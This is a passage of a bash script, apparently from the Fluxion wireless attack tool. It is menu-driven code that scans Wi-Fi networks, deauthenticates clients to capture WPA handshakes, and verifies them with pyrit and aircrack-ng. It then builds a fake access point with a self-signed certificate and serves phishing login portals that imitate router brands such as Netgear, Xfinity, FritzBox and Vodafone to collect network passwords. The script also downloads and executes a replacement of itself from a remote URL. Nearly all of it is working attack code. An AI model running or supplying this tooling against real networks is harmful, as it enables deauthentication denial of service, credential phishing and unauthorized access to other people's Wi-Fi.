[Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- ${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG 